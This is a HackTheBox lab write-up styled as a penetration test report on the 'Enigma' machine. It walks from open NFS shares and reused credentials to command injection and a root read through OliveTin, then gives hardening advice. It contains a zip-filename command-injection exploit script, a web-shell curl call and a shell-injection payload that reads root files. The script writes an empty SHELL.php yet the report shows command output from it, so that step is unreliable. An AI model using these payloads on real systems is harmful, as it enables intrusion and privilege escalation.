PENETRATION TESTING REPORT: ENIGMA

HackTheBox Environment Security Assessment

Executive Summary

Enigma is an Easy-difficulty Linux machine that demonstrates the severe security risks associated with unauthenticated file shares, loose credential rotation practices, and dangerous string concatenation patterns in administrative dashboards.

Initial access is achieved by enumerating a publicly exposed Network File System (NFS) share to harvest an onboarding document containing hardcoded webmail credentials. By exploiting credential reuse habits, an attacker can pivot across internal webmail profiles to discover hidden staging domains and operational configurations.

A critical Command Injection vulnerability (CVE-2025-69212) in an automated invoice parsing panel yields initial remote code execution (RCE). Local post-exploitation analysis reveals a loopback-bound application utility running as root (OliveTin v3000.10.0). While public unauthenticated web-facing exploit chains fail due to version routing disparities, the server's custom task configuration presents a distinct authenticated path to full administrative compromise.

Phase 1: Initial Reconnaissance

An initial service signature scan was executed across standard port ranges to identify network-facing protocols:

```
/usr/lib/nmap/nmap --privileged -sCV -F -oA nmap 10.129.182.217
```

Scan Output Summary

Port	State / Service	Version Info
22/tcp	open / ssh	OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux)
80/tcp	open / http	nginx 1.24.0 (Ubuntu) -> Redirects to enigma.htb
110/tcp	open / pop3	Dovecot pop3d
111/tcp	open / rpcbind	2-4 (RPC #100000)
143/tcp	open / imap	Dovecot imapd (Ubuntu)
993/tcp	open / ssl/imap	Dovecot imapd (Ubuntu)
995/tcp	open / ssl/pop3	Dovecot pop3d
2049/tcp	open / nfs_acl	3 (RPC #100227) Network File System

Routing Target Adjustments

Because the Nginx edge proxy explicitly enforces a strict redirection policy to the internal hostname `enigma.htb`, the environment's host resolution layout was configured manually inside the local routing configuration:

```
echo "10.129.182.217  enigma.htb" | sudo tee -a /etc/hosts
```

Phase 2: Open Source Intelligence & NFS Enumeration

1. Share Map Assessment

The presence of the Network File System (NFS) protocol on port 2049 prompted an interrogation of exported file shares using `showmount`:

```
showmount -e 10.129.182.217

Export list for 10.129.182.217:
/srv/nfs/onboarding *
```

The wildcard character (`*`) indicated that anonymous, unauthenticated clients could mount and extract contents from the `/srv/nfs/onboarding` folder.

2. Document Extraction & Credential Harvesting

The remote file structure was mounted locally to parse exposed documents:

```
sudo mkdir -p /mnt/enigma_onboarding
sudo mount -t nfs 10.129.182.217:/srv/nfs/onboarding /mnt/enigma_onboarding
cd /mnt/enigma_onboarding && ls -la

-rw-r--r-- 1 root root 3124 Jun 28 07:35 New_Employee_Access.pdf
```

The underlying document layout was parsed directly inside the terminal context using `pdftotext`:

```
pdftotext New_Employee_Access.pdf output.txt && cat output.txt

Enigma Corp
IT Department - New Employee System Access

Employee: Kevin Mitchell
Webmail Access -> URL: http://mail001.enigma.htb
Username: kevin | Password: Enigma2024!
```

Phase 3: Lateral Movement & Webmail Infiltration

1. DNS Matrix Update

The newly exposed webmail platform was added to the attacker's host configuration map:

```
10.129.182.217 enigma.htb mail001.enigma.htb
```

2. Mail Client Auditing (Kevin → Sarah)

Authenticating to the Dovecot interface at `http://mail001.enigma.htb` as user `kevin` with the password `Enigma2024!` granted full inbox access. Communications within the mailbox revealed standard user staging conventions, showing that another new hire, `sarah`, shared the same initial setup password (`Enigma2024!`).

Swapping contexts to sarah's mailbox exposed a direct administrative notification from IT support detailing provisional credentials for a separate internal framework:

```
From: it@enigma.htb
Subject: Enigma Corp new creds

URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s
```

Phase 4: Exploitation & Initial Foothold (RCE)

1. Vulnerability Analysis (CVE-2025-69212)

The local `/etc/hosts` file was updated to route the newly uncovered domain `support_001.enigma.htb`. Logging in using the administrative credentials (`admin : Ne3s4rtars78s`) exposed an operational panel driven by OpenSTAManager. Cross-referencing components confirmed that the software was vulnerable to an OS Command Injection flaw (CVE-2025-69212) residing in the system's compressed digital invoice (`.p7m`) handler.

2. Weaponized Archive Compilation & Execution

Because the server dynamically unpacks zip archives and passes internal file names directly into system commands without filtering, a custom deployment script was written to encapsulate a command string break directly into a filename reference:

```
import zipfile

cmd = "cd files && echo '' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
```

The output package `exploit.zip` was uploaded directly to the active web module endpoint. The injection payload executed automatically upon extraction. A connection query verified access as the web service group:

```
curl http://support_001.enigma.htb/files/SHELL.php?c=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

3. Shell Stabilization

A secondary interactive execution script was triggered to tunnel a full shell connection back over port 443, which was upgraded to an interactive TTY context:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
# [Ctrl + Z]
stty raw -echo; fg
export TERM=xterm
```

Phase 5: Local Privilege Escalation Audit

1. Database Setting Leaks & Context Shifting

To identify local service tokens, the OpenSTAManager connection configuration was read:

```
cat /var/www/html/openstamanager/config.inc.php

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
```

A credential reuse check proved that the database password `Fri3nds@9099` was reused as the operating system login credential for user `haris`:

```
www-data@enigma:/home$ su haris
Password: Fri3nds@9099

haris@enigma:~$ cat user.txt
# [USER FLAG SECURED SUCCESSFULLY]
```

2. Internal Port Auditing & OliveTin Discovery

An internal system networking review was performed to audit services restricted to the loopback address (127.0.0.1):

```
haris@enigma:~$ ss -lnpt

tcp   LISTEN 0      151        127.0.0.1:3306        0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:1337        0.0.0.0:*
```

A curl request to internal port 1337 confirmed the presence of an active instance of OliveTin, a macro-execution control center panel running under a root security context.

Phase 6: OliveTin Technical Evidence & Configuration Analysis

1. Version & Context Signature

Checking the application daemon confirmed it runs as an active system service under the **root** context:

```
haris@enigma:~$ /usr/local/bin/OliveTin --version
OliveTin 3000.10.0

haris@enigma:~$ ps -ef | grep -i olivetin
root        1517        1  0 10:35 ?        00:00:00 /usr/local/bin/OliveTin
```

2. Vulnerable Action Definition

Auditing the application configuration file at `/etc/OliveTin/config.yaml` revealed a high-severity flaw inside a predefined server macro:

```
  - title: Backup Database
    id: backup_database
    icon: "⛁"
    shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/
backup.sql"
    popupOnStart: execution-dialog
    arguments:
      - name: db_user
        type: ascii_identifier
        default: backup_svc
      - name: db_pass
        type: password
      - name: db_name
        type: ascii_identifier
        default: production
```

Phase 7: Comprehensive Payload Breakdown & Breakout Mechanics

The critical vulnerability stems from how OliveTin executes the defined `shell:` string when it runs actions in **Shell mode**. Instead of passing inputs safely as isolated argument elements, the application concatenates user inputs directly into a single string sequence and pipes it straight into a system terminal interpreter (such as `/bin/sh -c`).

The Interpolation Flow

The original template configured by the administrator stands as:

```
mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql
```

When you submit the API request containing your specific payload data string, the value replaces the variable placeholder directly:

```
"value": "x' ; cat /root/root.txt ; #"
```

Step-by-Step Command Execution Dissection

When the backend receives this input, the resulting string sequence evaluates sequentially inside the shell. The single quote character behaves like a key that locks/unlocks textual boundaries. Let's trace how the shell interprets the injected string from left to right:

- **`mysqldump -u backup_svc -p'x'` (Command 1 - Closed Early):** The single quote at the beginning of the payload (`x'`) immediately pairs with the developer's opening single quote (`-p'`). This satisfies the shell syntax requirements and closes the password definition block cleanly. The shell interprets `x` as the entire password string.
- **`;` (The Command Terminating Separator):** The semicolon acts as a structural control character. It informs the underlying shell interpreter that the execution instructions for the first binary (`mysqldump`) have ended entirely. The shell prepares to read the next token as a completely independent, fresh command.
- **`cat /root/root.txt` (Command 2 - Privileged Execution):** Because the command separator reset the field boundaries, the shell executes the `cat` utility independently. Since the parent application service profile runs under a **root** context, this secondary command inherits full system execution privileges, granting unhindered access to look inside `/root/root.txt`.
- **`; #` (Truncating and Commenting Out the Remainder):** The final semicolon terminates the second command. The hash mark character (`#`) functions as a script comment operator. This tells the shell to completely disregard every trailing character on that line. As a result, the developer's trailing characters—the closing single quote (`'`), the database name variable (`production`), and the file redirector (`> /opt/backups/backup.sql`)—are completely ignored, avoiding a syntax crash and ensuring a clean output return.

Phase 8: Hardening & Strategic Recommendations

1. **Implement Parameterized Execution Arrays:** Reconfigure dashboard script macros to drop raw terminal shell evaluations entirely. Transition commands to native parameter isolation arrays (e.g., using `exec.Command` in Go or `subprocess.Popen` with `shell=False` in Python) to prevent input operators from escaping execution bounds.
2. **Enforce the Principle of Least Privilege:** Modify the application engine configuration parameters to drop system privileges during startup. The service binary must execute under a dedicated service group (e.g., `olivetin`) with restricted permissions rather than running natively as full system root.
3. **Restrict Network File Sharing Access:** Reconfigure the directory export network variables on port 2049. Explicitly list trusted IP addresses or internal administrative networks instead of allowing wide, unauthenticated access configurations (`*`). Enforce strict password complexity and immediate rotation policies for all new user profiles.